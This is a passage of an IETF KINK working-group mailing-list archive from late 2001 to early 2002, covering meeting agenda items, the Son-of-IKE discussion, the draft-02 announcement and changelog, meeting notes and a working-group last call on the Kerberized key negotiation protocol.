Michael Thomas writes: > > > I think that we should spend some time talking > > about the new Son of IKE requirements draft and > > how we compare. The one thing that jumps out at me > > is how to deal with vendor and/or ISAKMP > > extensions. The draft is currently silent about > > that. > > Considering the SoI draft will be discussed at IPsec, do others > feel it is reasonable to discuss it in KINK? What benefit would > a discussion in KINK bring to the table? Not that I think it's > a bad thing to discuss, I just want to understand the relevance > to the KINK work. I'm not proposing that we discuss SOI requirements as they relate to a SOI. I know that I've tried to be pretty sensitive to the known shortcomings of IKE so that we don't wander into the same traps needlessly. I _think_ we've accounted for many/most of them, but I'd like to believe others have the same feeling. > As for Vendor and ISAKMP extensions, have said extensions ever been > made to phase-II? Talking about a KINK extension infrastructure is > reasonable. I believe so. I think that mode config is a phase II creature, though I'm not positive. I'm honestly not up to speed with what the difficulties were here, so it's hard for me to evaluate where we stand. Mike From owner-ietf-kink Tue Nov 20 09:59:32 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAKHxW715537 for ietf-kink-bks; Tue, 20 Nov 2001 09:59:32 -0800 (PST) Received: from benjamin.ihtfp.org (BENJAMIN.IHTFP.ORG [204.107.200.18]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAKHxU815533 for ; Tue, 20 Nov 2001 09:59:30 -0800 (PST) Received: (from warlord@localhost) by benjamin.ihtfp.org (8.9.3) id MAA23640; Tue, 20 Nov 2001 12:59:24 -0500 To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: Agenda Items for SLC? References: <15354.37948.204683.346977@thomasm-u1.cisco.com> <15354.39189.845840.644636@thomasm-u1.cisco.com> From: Derek Atkins Date: 20 Nov 2001 12:59:24 -0500 In-Reply-To: Michael Thomas's message of "Tue, 20 Nov 2001 09:55:33 -0800 (PST)" Message-ID: Lines: 48 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Are you willing to lead (or delegate) both of these discussions? Is there someone else who wants to discuss it? -derek Michael Thomas writes: > Derek Atkins writes: > > Michael Thomas writes: > > > > > I think that we should spend some time talking > > > about the new Son of IKE requirements draft and > > > how we compare. The one thing that jumps out at me > > > is how to deal with vendor and/or ISAKMP > > > extensions. The draft is currently silent about > > > that. > > > > Considering the SoI draft will be discussed at IPsec, do others > > feel it is reasonable to discuss it in KINK? What benefit would > > a discussion in KINK bring to the table? Not that I think it's > > a bad thing to discuss, I just want to understand the relevance > > to the KINK work. > > I'm not proposing that we discuss SOI requirements > as they relate to a SOI. I know that I've tried to > be pretty sensitive to the known shortcomings > of IKE so that we don't wander into the same > traps needlessly. I _think_ we've accounted for > many/most of them, but I'd like to believe > others have the same feeling. > > > As for Vendor and ISAKMP extensions, have said extensions ever been > > made to phase-II? Talking about a KINK extension infrastructure is > > reasonable. > > I believe so. I think that mode config is a > phase II creature, though I'm not positive. > I'm honestly not up to speed with what the > difficulties were here, so it's hard for me > to evaluate where we stand. > > Mike -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Nov 20 12:43:44 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAKKhix22385 for ietf-kink-bks; Tue, 20 Nov 2001 12:43:44 -0800 (PST) Received: from benjamin.ihtfp.org (BENJAMIN.IHTFP.ORG [204.107.200.18]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAKKhg822381 for ; Tue, 20 Nov 2001 12:43:42 -0800 (PST) Received: (from warlord@localhost) by benjamin.ihtfp.org (8.9.3) id MAA23581; Tue, 20 Nov 2001 12:43:34 -0500 To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: Agenda Items for SLC? References: <15354.37948.204683.346977@thomasm-u1.cisco.com> From: Derek Atkins Date: 20 Nov 2001 12:43:34 -0500 In-Reply-To: Michael Thomas's message of "Tue, 20 Nov 2001 09:34:52 -0800 (PST)" Message-ID: Lines: 28 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > I think that we should spend some time talking > about the new Son of IKE requirements draft and > how we compare. The one thing that jumps out at me > is how to deal with vendor and/or ISAKMP > extensions. The draft is currently silent about > that. Considering the SoI draft will be discussed at IPsec, do others feel it is reasonable to discuss it in KINK? What benefit would a discussion in KINK bring to the table? Not that I think it's a bad thing to discuss, I just want to understand the relevance to the KINK work. As for Vendor and ISAKMP extensions, have said extensions ever been made to phase-II? Talking about a KINK extension infrastructure is reasonable. > Mike -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Nov 20 13:01:10 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAKL1AP22638 for ietf-kink-bks; Tue, 20 Nov 2001 13:01:10 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAKL18822634 for ; Tue, 20 Nov 2001 13:01:08 -0800 (PST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fAKKZuH17517; Tue, 20 Nov 2001 12:36:20 -0800 (PST) Received: from janpc-home.cisco.com (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id fAKKZrv14477; Tue, 20 Nov 2001 12:35:53 -0800 (PST) Date: Tue, 20 Nov 2001 12:35:52 -0800 (PST) From: Jan Vilhuber To: Michael Thomas cc: Derek Atkins , ietf-kink@vpnc.org Subject: Re: Agenda Items for SLC? In-Reply-To: <15354.39189.845840.644636@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Tue, 20 Nov 2001, Michael Thomas wrote: > > Derek Atkins writes: > > Michael Thomas writes: > > > > > I think that we should spend some time talking > > > about the new Son of IKE requirements draft and > > > how we compare. The one thing that jumps out at me > > > is how to deal with vendor and/or ISAKMP > > > extensions. The draft is currently silent about > > > that. > > > > Considering the SoI draft will be discussed at IPsec, do others > > feel it is reasonable to discuss it in KINK? What benefit would > > a discussion in KINK bring to the table? Not that I think it's > > a bad thing to discuss, I just want to understand the relevance > > to the KINK work. > > I'm not proposing that we discuss SOI requirements > as they relate to a SOI. I know that I've tried to > be pretty sensitive to the known shortcomings > of IKE so that we don't wander into the same > traps needlessly. I _think_ we've accounted for > many/most of them, but I'd like to believe > others have the same feeling. > > > As for Vendor and ISAKMP extensions, have said extensions ever been > > made to phase-II? Talking about a KINK extension infrastructure is > > reasonable. > > I believe so. I think that mode config is a > phase II creature, though I'm not positive. It's neither. It's a phase 1.5 creature, and horribly deformed one at that. I seem to remember that kerberos tickets can contain a certain amount of authorization data (although I could be wrong). config-mode is nothing other than authorization data (here's an ip address, here's a dns address, etc, i.e. as in the 2nd 'A' in AAA). It should be excluded from key management protocols entirely, in my opinion. Carry it in kerberos, or use a secondary protocol to carry such information (dhcp, cops, radius, etc...). Some things that are needed to bootstrap the connection (like ip address) may be needed, but not in an extensible fashion, since otherwise people want to start sending whole router configs via config-mode; don't laugh.. I see this as we speak in some areas.. jan > I'm honestly not up to speed with what the > difficulties were here, so it's hard for me > to evaluate where we stand. > > Mike > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Wed Nov 28 02:59:04 2001 Received: by above.proper.com (8.11.6/8.11.3) id fASAx4801253 for ietf-kink-bks; Wed, 28 Nov 2001 02:59:04 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fASAx2801245 for ; Wed, 28 Nov 2001 02:59:02 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA28995; Wed, 28 Nov 2001 05:58:58 -0500 (EST) Message-Id: <200111281058.FAA28995@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-02.txt Date: Wed, 28 Nov 2001 05:58:57 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas et al. Filename : draft-ietf-kink-kink-02.txt Pages : 33 Date : 27-Nov-01 KINK defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to set up and maintain [IPSEC] security associations using [KERBEROS] authentication. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20011127135430.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20011127135430.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Fri Nov 30 07:58:36 2001 Received: by above.proper.com (8.11.6/8.11.3) id fAUFwaq04874 for ietf-kink-bks; Fri, 30 Nov 2001 07:58:36 -0800 (PST) Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAUFwZ804866 for ; Fri, 30 Nov 2001 07:58:35 -0800 (PST) Received: by sentry.gw.tislabs.com; id LAA18560; Fri, 30 Nov 2001 11:03:36 -0500 (EST) Received: from raven.gw.tislabs.com(10.33.1.50) by sentry.gw.tislabs.com via smap (V5.5) id xma018540; Fri, 30 Nov 01 11:03:32 -0500 Received: (from balenson@localhost) by raven.gw.tislabs.com (8.11.6/8.11.6) id fAUFwVF21871 for ietf-kink@vpnc.org; Fri, 30 Nov 2001 10:58:31 -0500 (EST) Date: Fri, 30 Nov 2001 10:58:31 -0500 (EST) Message-Id: <200111301558.fAUFwVF21871@raven.gw.tislabs.com> From: balenson@tislabs.com To: ietf-kink@vpnc.org Subject: ANNOUNCE: ISOC Netw. & Distr. Sys. Security Symp. (NDSS'02) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: R E G I S T E R N O W ! ! THE INTERNET SOCIETY'S 2002 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'02) February 7-8, 2002 Catamaran Resort Hotel, San Diego, California General Chair: Cliff Neuman, USC Information Sciences Institute Program Chairs: Paul Van Oorschot, Entrust Virgil Gligor, University of Maryland ONLINE INFORMATION AND REGISTRATION: http://www.isoc.org/ndss02 EARLY REGISTRATION DISCOUNT DEADLINE: January 11, 2002 The 9th annual NDSS Symposium brings together researchers, implementers, and users of network and distributed system security technologies to discuss today's important security issues and challenges. The Symposium provides a mix of technical papers and panel presentations that describe promising new approaches to security problems that are practical and, to the extent possible, have been implemented. NDSS fosters the exchange of technical information and encourages the Internet community to deploy available security technologies and develop new solutions to unsolved problems. THIS YEAR'S TOPICS INCLUDE: * Wireless Security * Analyzing the Anonymity of Anonymous Networking Protocols * Intrusion Detection and Defending Against Network Attacks * Detecting Steganographic Content on the Web * Server-Aided Digital Signatures * PKI, Certificates and Privilege Management * Various Aspects of Transport Layer Security/TLS PRE-CONFERENCE TECHNICAL TUTORIALS: * Major IETF Security Standards: PKIX, IPsec, SSL/TLS, Dr. Stephen Kent * Crash Course in SSL and TLS, Mr. Eric Rescorla * Building Secure Software, Dr. Gary McGraw * Wirelss LAN Security: Problems & Solutions, Dr. William Arbaugh * Group Security, Dr. Thomas Harjono and Mr. Hugh Harney For further information about NDSS'02 REGISTRATION contact Michele Estadt at the Internet Society at +1-703-326-9880 ext 104 or send e-mail to infondss@isoc.org SPONSORSHIP OPPORTUNITIES AVAILABLE! Take advantage of this high visibility event. Contact Martin Kupres at the Internet Society EMEA office at +41 22 807 1444 or send e-mail to sponsorndss@isoc.org. THE INTERNET SOCIETY is a non-governmental organization for global cooperation and coordination for the Internet and its internetworking technologies and applications. From owner-ietf-kink Mon Dec 3 09:59:01 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fB3Hx1d08468 for ietf-kink-bks; Mon, 3 Dec 2001 09:59:01 -0800 (PST) Received: from benjamin.ihtfp.org (BENJAMIN.IHTFP.ORG [204.107.200.18]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fB3Hwx208461 for ; Mon, 3 Dec 2001 09:58:59 -0800 (PST) Received: (from warlord@localhost) by benjamin.ihtfp.org (8.9.3) id MAA31402; Mon, 3 Dec 2001 12:58:56 -0500 To: ietf-kink@vpnc.org Subject: KINK Agenda v.1 From: Derek Atkins Date: 03 Dec 2001 12:58:56 -0500 Message-ID: Lines: 30 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Please comment on the included agenda. -derek Kerberized Internet Negotiation of Keys IETF-52, SLC Chairs: Derek Atkins John Trostle Monday, December 10, 2001 0900-1130 Agenda Bashing :02 KINK Protocol Status :45 Mike Thomas draft-ietf-kink-kink-02 Discussion: :30 How Son-of-IKE affects KINK Discussion: :30 KINK Extensions -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Sun Dec 9 15:25:22 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fB9NPMi00128 for ietf-kink-bks; Sun, 9 Dec 2001 15:25:22 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fB9NPL200121 for ; Sun, 9 Dec 2001 15:25:21 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fB9NPJE16712 for ; Sun, 9 Dec 2001 15:25:19 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM18379; Sun, 9 Dec 2001 15:24:44 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA02248; Sun, 9 Dec 2001 15:25:18 -0800 (PST) Date: Sun, 9 Dec 2001 15:25:18 -0800 (PST) Message-Id: <200112092325.PAA02248@thomasm-u1.cisco.com> From: Michael Thomas To: ietf-kink@vpnc.org Subject: changelog from -01 to -02 X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here's a high level list of the changes between -01 and -02 Mike 1) Much editorial cleanup and rearrangement to get to last call quality 2) Reworded intro and abstract 3) Added more definitions 4) Added dead peer detection section, and modified kink header to accommodate it 5) Made ACK mandatory when optimistic SA creation not taken 6) Added retransmission of REPLY's when expecting ACK 7) Clarified exact definition of "optimistic" 8) Modified DELETE to only require command and response, with no optional ACK 9) Clarify rekeying a bit, add some verbiage about rekey avalanche avoidance 10) Make Kerb Err keying a MUST when possible 11) Renumber payloads to not clash with ISAKMP payloads 12) Clarify KRB errors which must be supported 13) Reworded IKE/ISAKMP/etc in terms of Quick Mode instead to be explicit 14) Require multiple different CREATE/DELETE to be in separate KINK_ISAKMP payloads 15) Add KINK_INTERR From owner-ietf-kink Mon Jan 7 08:42:58 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g07Ggwm28783 for ietf-kink-bks; Mon, 7 Jan 2002 08:42:58 -0800 (PST) Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g07Ggu328772 for ; Mon, 7 Jan 2002 08:42:56 -0800 (PST) Received: by sentry.gw.tislabs.com; id LAA18150; Mon, 7 Jan 2002 11:48:11 -0500 (EST) Received: from raven.gw.tislabs.com(10.33.1.50) by sentry.gw.tislabs.com via smap (V5.5) id xma018133; Mon, 7 Jan 02 11:47:21 -0500 Received: (from balenson@localhost) by raven.gw.tislabs.com (8.11.6/8.11.6) id g07Gg6N29970 for ietf-kink@vpnc.org; Mon, 7 Jan 2002 11:42:06 -0500 (EST) Date: Mon, 7 Jan 2002 11:42:06 -0500 (EST) Message-Id: <200201071642.g07Gg6N29970@raven.gw.tislabs.com> From: balenson@tislabs.com To: ietf-kink@vpnc.org Subject: ANNOUNCE: NDSS'02 Early Registration Deadlines Approaching Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: R E G I S T E R N O W ! ! EARLY REGISTRATION DISCOUNT DEADLINE: January 11, 2002 HOTEL RESERVATIONS MUST BE MADE BY January 8, 2002 FINAL PROGRAM available at http://www.isoc.org/isoc/conferences/ndss/02/final.shtml. 2002 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'02) hosted by THE INTERNET SOCIETY February 6 - 8, 2002 Catamaran Resort Hotel, San Diego, California NDSS is the premier event for security experts around the world. Come to the 9th Annual NDSS and share in the latest concepts on the Internet security front. Southern California's Catamaran Resort Hotel offers spectacular views of Mission Bay and the Pacific Ocean, and is a warm sunny getaway with opportunities to confer with your security counterparts from across the globe. For more information and on line registration go to the NDSS'02 web site: http://www.isoc.org/ndss02. Questions about registration? Contact Michele Estadt at the Internet Society at +1-703-326-9880 ext 104 or send e-mail to infondss@isoc.org. Interested in sponsoring a give-away or meal? Contact Martin Kupres at +1 41 22 807 1444 or send e-mail to sponsorndss@isoc.org. From owner-ietf-kink Mon Jan 7 09:40:32 2002 Received: by above.proper.com (8.11.6/8.11.3) id g07HeWX00684 for ietf-kink-bks; Mon, 7 Jan 2002 09:40:32 -0800 (PST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g07HeU300679 for ; Mon, 7 Jan 2002 09:40:30 -0800 (PST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id MAA16402; Mon, 7 Jan 2002 12:40:31 -0500 (EST) Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.21.85]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id MAA13711; Mon, 7 Jan 2002 12:38:15 -0500 (EST) Received: from cutter-john.mit.edu (CUTTER-JOHN.MIT.EDU [18.187.1.62]) by manawatu-mail-centre.mit.edu (8.9.2/8.9.2) with ESMTP id MAA20554; Mon, 7 Jan 2002 12:38:06 -0500 (EST) Received: (from warlord@localhost) by cutter-john.mit.edu (8.9.3) id MAA19469; Mon, 7 Jan 2002 12:38:03 -0500 To: Michael Thomas Cc: ietf-kink@vpnc.org, jtrostle@cisco.com, jis@mit.edu, mleech@nortelnetworks.com Subject: WG LAST CALL: Kerberized Internet Negotiation of Keys (KINK) References: <200112092325.PAA02248@thomasm-u1.cisco.com> From: Derek Atkins Date: 07 Jan 2002 12:38:03 -0500 In-Reply-To: Michael Thomas's message of "Sun, 9 Dec 2001 15:25:18 -0800 (PST)" Message-ID: Lines: 17 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Last year in SLC I promised to call a Last Call for the KINK draft. So, I hereby open a two-week working-group last call on draft-ietf-kink-kink. The last-call will last until 12 noon US/Eastern on January 21st. Please send any comments on the draft... If you want your comments anonymized, feel free to email them to me personally and I will forward the issue to the list. Let the comments begin ;) -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Jan 7 16:52:35 2002 Received: by above.proper.com (8.11.6/8.11.3) id g080qZZ27421 for ietf-kink-bks; Mon, 7 Jan 2002 16:52:35 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g080qY327413 for ; Mon, 7 Jan 2002 16:52:34 -0800 (PST) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id g080qWJ15122; Mon, 7 Jan 2002 16:52:32 -0800 (PST) Received: from cisco.com (sjc-vpn1-125.cisco.com [10.21.96.125]) by mira-sjc5-1.cisco.com (Mirapoint) with ESMTP id ACY56419; Mon, 7 Jan 2002 16:52:06 -0800 (PST) Message-ID: <3C3A44A0.57AC6AB7@cisco.com> Date: Mon, 07 Jan 2002 17:00:16 -0800 From: Jonathan Trostle Organization: Cisco Systems X-Mailer: Mozilla 4.5 [en] (WinNT; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: ietf-kink@vpnc.org CC: jtrostle@cisco.com, warlord@mit.edu Subject: IETF SLC KINK WG meeting notes Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is a draft of the KINK WG meeting notes. Please send comments by Friday, January 11th. Jonathan IETF KINK WG Meeting: 9-11AM Monday, December 10th, 2001. Chairs: Derek Atkins and Jonathan Trostle The agenda was presented. The topics to be discussed were the KINK protocol and extensibility. KINK protocol Mike Thomas released the .02 version of the KINK protocol specification. The main changes are: (a) dead peer detection is facilitated with the epoch field which has been added to the protocol messages. By detecting a change in the peer's epoch value, a KINK protocol entity knows that the peer has gone down and come back up. Thus new SA's can be created, if necessary. (b) The ack is now required in the SA create exchange if the initiator's optimistic proposal is not accepted. (c) KRB_ERROR messages MUST be keyed if the two peers share a secret key. This last change has the issue that existing Kerberos libraries will have to be modified to support this behaviour. (d) Mike is registering the KINK payloads with IANA. Extensibility KINK extensibility was discussed. The main questions are: how does a KINK implementation handle a new payload that it does not recognize? Should payloads be treated as critical or optional? Charlie Kaufman indicated that a son of ike entity would reject a message with an unrecognized major version, but would continue processing a message with an unrecognized minor version. Radia Perlman suggested that KINK might benefit from a mechanism that allows a peer to know that the other side supports a higher protocol version. Most, but not all, of the KINK protocol error messages will be authenticated, however. In the most common SA creation scenario, (AP_REQ, AP_REP exchange) any error messages would be authenticated. In addition, Mike indicated that it would be good if KINK is useful for keying IPsec remote access VPN's. Implementation Status and Future Plans Derek asked who is planning on implementing KINK. In addition to Mike Thomas, four other people indicated they were planning on implementing the KINK protocol. The chairs plan to ask for WG last call in January, 2002. From owner-ietf-kink Sun Jan 13 08:41:24 2002 Received: by above.proper.com (8.11.6/8.11.3) id g0DGfOI05220 for ietf-kink-bks; Sun, 13 Jan 2002 08:41:24 -0800 (PST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g0DGfM305216 for ; Sun, 13 Jan 2002 08:41:22 -0800 (PST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id LAA13457 for ; Sun, 13 Jan 2002 11:41:23 -0500 (EST) Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.21.85]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id LAA06148 for ; Sun, 13 Jan 2002 11:41:21 -0500 (EST) Received: from indiana.mit.edu (INDIANA.MIT.EDU [18.18.1.138]) by manawatu-mail-centre.mit.edu (8.9.2/8.9.2) with ESMTP id LAA19480 for ; Sun, 13 Jan 2002 11:41:20 -0500 (EST) Received: (from warlord@localhost) by indiana.mit.edu (8.9.3) id LAA12317; Sun, 13 Jan 2002 11:41:19 -0500 (EST) To: ietf-kink@vpnc.org Subject: Reminder: KINK WG LAST CALL ends January 21st References: <200112092325.PAA02248@thomasm-u1.cisco.com> From: Derek Atkins Date: 13 Jan 2002 11:41:17 -0500 In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Just a reminder.... -derek > Last year in SLC I promised to call a Last Call for the KINK draft. > So, I hereby open a two-week working-group last call on > draft-ietf-kink-kink. The last-call will last until 12 noon > US/Eastern on January 21st. > > Please send any comments on the draft... If you want your comments > anonymized, feel free to email them to me personally and I will > forward the issue to the list. -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 17 20:17:43 2002 Received: by above.proper.com (8.11.6/8.11.3) id g0I4Hhj08955 for ietf-kink-bks; Thu, 17 Jan 2002 20:17:43 -0800 (PST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g0I4Hf308950 for ; Thu, 17 Jan 2002 20:17:41 -0800 (PST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.21.75]) by pacific-carrier-annex.mit.edu (8.9.2/8.9.2) with ESMTP id XAA19849 for ; Thu, 17 Jan 2002 23:17:45 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by central-city-carrier-station.mit.edu (8.9.2/8.9.2) with ESMTP id XAA18532 for ; Thu, 17 Jan 2002 23:17:44 -0500 (EST) Received: from kikki.mit.edu (KIKKI.MIT.EDU [18.18.1.142]) by melbourne-city-street.mit.edu (8.9.2/8.9.2) with ESMTP id XAA04618 for ; Thu, 17 Jan 2002 23:17:43 -0500 (EST) Received: (from warlord@localhost) by kikki.mit.edu (8.9.3) id XAA01407; Thu, 17 Jan 2002 23:17:42 -0500 (EST) To: ietf-kink@vpnc.org Subject: Re: Reminder: KINK WG LAST CALL ends January 21st References: <200112092325.PAA02248@thomasm-u1.cisco.com> From: Derek Atkins Date: 17 Jan 2002 23:17:42 -0500 In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: So, I've heard no comments (positive or negative) about this draft. Are we beating a dead horse with this work? Should we let the work (and this group) die, or do people still think that we should standardize KINK? -derek Derek Atkins writes: > Just a reminder.... > > -derek > > > Last year in SLC I promised to call a Last Call for the KINK draft. > > So, I hereby open a two-week working-group last call on > > draft-ietf-kink-kink. The last-call will last until 12 noon > > US/Eastern on January 21st. > > > > Please send any comments on the draft... If you want your comments > > anonymized, feel free to email them to me personally and I will > > forward the issue to the list. > > -- > Derek Atkins, SB '93 MIT 